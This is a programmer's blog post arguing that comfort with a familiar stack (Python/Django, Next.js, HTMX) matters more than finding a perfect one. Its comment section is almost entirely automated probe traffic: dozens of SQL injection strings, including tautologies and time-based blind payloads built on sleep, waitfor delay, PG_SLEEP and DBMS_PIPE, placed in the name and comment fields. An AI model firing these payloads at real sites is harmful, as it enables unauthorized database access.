Choosing the correct tech stack

/ #Misc


There are so many languages, frameworks, database, etc, to choose from. Show how do you decide?

I have been a full time programmer for 15 years now, and I've had it as a hobby much much longer. During this time, I have seen technologies come and disappear, some have been with me the whole time, and some of them have just been something I've heard of.

During my time as a developer, I think that the most important thing I have learned, is that the stack you're using is definitely not the most important part of a project. Finding the perfect tech stack is impossible, or is it?

Information overload

Since I'm an experienced developer, I have learned how to filter all of the information out there. But even for me it's kind of overwhelming to see everything out there. Sometimes I feel like I'm a dinosaur when it comes to technology because there is so much innovation going on. But is all the innovation necessarily doing us good?

I'm glad I'm not a beginner these days, because even though it's never been easier to learn a new technology, how the heck are you going to find out which technology to learn?

My perfect tech stack

Okay, so what should I do? I think that you should try to just find something you like. Find something you're comfortable to work with. No matter which language, framework, database, etc, you choose, there will be something that isn't 100% perfect.

There might be a different language solving that exact problem, but then that language probably have a different problem you're already solving with your tech stack.

That's why I'm kind of just sticking to things I already know very well. I love Python, and I love Django. That's why this is my go-to for backend development.

On the frontend, I've been back and forth. I have used Vue for many years, I have used HTMX, and I have used Next.js. Next.js is what I have used for bigger projects, and is also my new go-to framework for bigger projects. If I don't need as much interactivity, I will probably just go for HTMX.

So, have I chosen a perfect tech stack? Probably not. But I'm efficient with it, and I can build and do whatever I want.

When Pieter Levels can build projects with plain old PHP and make tens of thousands each month, then I guess we can say that the technology you choose doesn't really matter.

Comments

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

-1 OR 2+639-639-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:25

-1 OR 2+264-264-1=0+0+0+1

EFSArCBy | Jul 02, 26 07:25

-1' OR 2+840-840-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:25

-1' OR 2+286-286-1=0+0+0+1 or 'RcmZiM6s'='

EFSArCBy | Jul 02, 26 07:25

-1" OR 2+387-387-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:25

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 07:25

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 07:25

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 07:25

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 07:25

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:25

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:25

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:25

5552AkWxkR0'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:25

555-1 OR 562=(SELECT 562 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:25

555-1) OR 337=(SELECT 337 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:25

555-1)) OR 670=(SELECT 670 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:25

5559p9zKBB4' OR 554=(SELECT 554 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:25

555X85MucEQ') OR 137=(SELECT 137 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:25

555EZbGAnNF')) OR 482=(SELECT 482 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:25

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 07:25

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555'"

EFSArCBy | Jul 02, 26 07:25

@@gBNHC

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

-1 OR 2+836-836-1=0+0+0+1 -- | Jul 02, 26 07:25

555

-1 OR 2+594-594-1=0+0+0+1 | Jul 02, 26 07:25

555

-1' OR 2+717-717-1=0+0+0+1 -- | Jul 02, 26 07:25

555

-1' OR 2+140-140-1=0+0+0+1 or '0cwDDDJr'=' | Jul 02, 26 07:25

555

-1" OR 2+645-645-1=0+0+0+1 -- | Jul 02, 26 07:25

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 07:25

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 07:25

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 07:26

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 07:26

555

EFSArCBy2gXdLnes'; waitfor delay '0:0:15' -- | Jul 02, 26 07:26

555

EFSArCBy3g8RTsey' OR 248=(SELECT 248 FROM PG_SLEEP(15))-- | Jul 02, 26 07:26

555

EFSArCByfcocwmu2') OR 395=(SELECT 395 FROM PG_SLEEP(15))-- | Jul 02, 26 07:26

555

EFSArCBy4A0pCGGC')) OR 23=(SELECT 23 FROM PG_SLEEP(15))-- | Jul 02, 26 07:26

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy'" | Jul 02, 26 07:26

555

@@pn62y | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.